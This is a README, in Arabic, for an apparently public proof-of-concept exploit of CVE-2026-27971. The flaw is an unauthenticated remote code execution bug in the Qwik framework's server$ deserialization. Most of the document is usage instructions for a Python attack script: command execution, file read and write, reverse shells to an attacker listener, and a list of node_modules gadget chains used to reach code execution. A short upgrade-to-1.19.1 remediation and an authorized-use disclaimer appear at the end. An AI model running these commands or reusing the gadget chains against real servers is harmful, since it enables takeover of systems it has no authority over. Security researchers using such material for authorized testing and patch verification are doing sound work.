
CVE-2026-27971 qwik rce
server$ (PoC)[!WARNING] يحتوي هذا المستودع على إثبات مفهوم نشط لتنفيذ التعليمات البرمجية عن بُعد. استخدمه فقط ضد أنظمة تملكها أو مُخوَّل لك اختبارها صراحةً. لا يتحمّل المؤلف أي مسؤولية عن الاستخدام غير المصرّح به أو الأضرار الناتجة عنه.
إثبات مفهوم مستقل بلغة Python لثغرة CVE-2026-27971 / GHSA-p9x5-jp3h-96mm، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في آلية إزالة تسلسل RPC الخاصة بـ server$ في إطار Qwik.
يمكن لإثبات المفهوم تنفيذ استطلاع علامة نشط، وتنفيذ أوامر، وقراءة أو كتابة ملفات نصية، وطلب صدفة عكسية على أنظمة Linux أو Windows. يستخدم مكتبة Python القياسية فقط.
| الحقل | القيمة |
|---|
| المنتج | Qwik — حزمة npm @builder.io/qwik |
| الإصدارات المتأثرة | <= 1.19.0 |
| الإصدار المُصحَّح | 1.19.1 |
| الثغرة | تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر إزالة تسلسل غير آمنة في server$ |
| شرط التشغيل | يجب أن يكون require() متاحًا في وقت التشغيل |
| CWE | CWE-502 — إزالة تسلسل البيانات غير الموثوقة |
| الخطورة | حرجة — CVSS 4.0: 9.2 |
| ناقل الهجوم | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
يمكن لطلب application/qwik-json مُصمَّم بعناية أن يشير إلى وحدة نمطية ورمز مُصدَّر على جانب الخادم. قد تقوم إصدارات Qwik المتأثرة بحل QRL غير مسجَّل عبر require() في وقت التشغيل واستدعائه دون مصادقة. يحاول إثبات المفهوم هذا الوصول إلى تصدير متوافق لتنفيذ العمليات موجود مسبقًا في node_modules الخاص بالهدف.
المشغِّل (Operator):
server$/Qwik JSON.الهدف:
@builder.io/qwik <= 1.19.0.require().node_modules.node متاح في PATH الخاص بعملية الخدمة.لا تتطلب أي حزم Python خارجية.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
سرد الـ gadgets المدمجة دون إرسال أي طلب:
python3 exploit_combat.py --list-gadgets
تشغيل استطلاع علامة نشط وتجربة كل gadget مدمج:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeليس كشفًا سلبيًا للإصدار. فهو يحاول تنفيذ تعليمات برمجية عن بُعد ويؤكد ذلك بطباعة علامة من عملية الهدف.
تنفيذ أمر:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
قراءة ملف نصي بترميز UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
كتابة ملف نصي بترميز UTF-8 والتحقق منه:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
طلب صدفة عكسية بعد تشغيل مستمع دائم:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
فرض حمولة الصدفة العكسية لنظام Windows عندما لا يكون كشف نظام التشغيل التلقائي مناسبًا:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
لا يبدأ السكربت مستمعًا. يفتح الفحص المسبق --callback اتصال TCP منفصلًا ويغلقه قبل إرسال حمولة الصدفة، لذا استخدم مستمعًا يمكنه قبول أكثر من اتصال واحد.
| الخيار | الوصف |
|---|---|
-t URL, --target URL | عنوان URL المستهدف المحدد. الافتراضي: http://localhost:3000. لا يتم اكتشاف المسار تلقائيًا. |
--probe | تنفيذ حمولة علامة بشكل نشط ومحاولة كشف نظام التشغيل. |
-c CMD, --CMD CMD | تنفيذ أمر عبر child_process.execSync() في Node.js. |
--read PATH | قراءة ملف نصي بترميز UTF-8 باستخدام fs.readFileSync(). |
--write PATH --content TEXT | كتابة ملف نصي وقراءته مرة أخرى ومقارنة النتيجة. لا يتم إنشاء المجلدات الأصلية. |
--list-gadgets | طباعة أسماء الـ gadgets المدمجة والخروج دون إجراء طلب شبكي. |
--lhost IP | تفعيل وضع الصدفة العكسية وتعيين عنوان الاستدعاء الرجعي. |
--lport PORT | تعيين منفذ الاستدعاء الرجعي. الافتراضي: 4444. |
--rev-all | إرسال كل متغيرات الصدفة العكسية بدلاً من التوقف بعد أول طلب HTTP مقبول. |
--callback | اختبار إمكانية الوصول عبر TCP الصادر قبل إرسال حمولة الصدفة العكسية. |
--OS {auto,linux,windows} | اختيار عائلة حمولة الصدفة العكسية. الافتراضي: auto. |
--gadget SPEC | استخدام auto، أو اسم مدمج، أو <module>#<symbol> مخصص. الافتراضي: cross-spawn.sync. |
--arg-style {argv,command,shell} | نمط الوسائط لـ gadget مخصص <module>#<symbol>. |
--timeout SECONDS | مهلة HTTP من جانب العميل. الافتراضي: 30. |
--verify-ssl | تفعيل التحقق من شهادة TLS واسم المضيف. التحقق معطَّل افتراضيًا. |
أنماط الإجراء ليست حصرية مع بعضها في المحلل (parser). استخدم واحدًا من --probe أو --CMD أو --read أو --write أو --lhost لكل استدعاء.
| الاسم | الوحدة والتصدير | النمط |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
يختبر --gadget auto هذه الـ gadgets بالترتيب المذكور. يمكن توفير gadget مخصص كما يلي:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync وليس اكتشافًا تلقائيًا. استخدم --gadget auto عندما يكون تخطيط تبعيات الهدف غير معروف.--read ترميز UTF-8، و--write غير مخصص للبيانات الثنائية.--rev-all عدة عمليات أو استدعاءات رجعية على الهدف. استخدمه فقط في مختبر معزول.قم بترقية @builder.io/qwik إلى 1.19.1 أو أحدث، وحدّث ملف القفل (lockfile)، وأعد بناء التطبيق، وأعد نشر جميع مكونات الخادم. إزالة gadget متوافق وحده ليس إصلاحًا كاملاً لثغرة Qwik الأساسية.
يُقدَّم هذا المشروع لأغراض البحث الأمني والتحقق الدفاعي والاختبار المُصرَّح به. لا تستخدمه ضد أي أنظمة دون إذن صريح.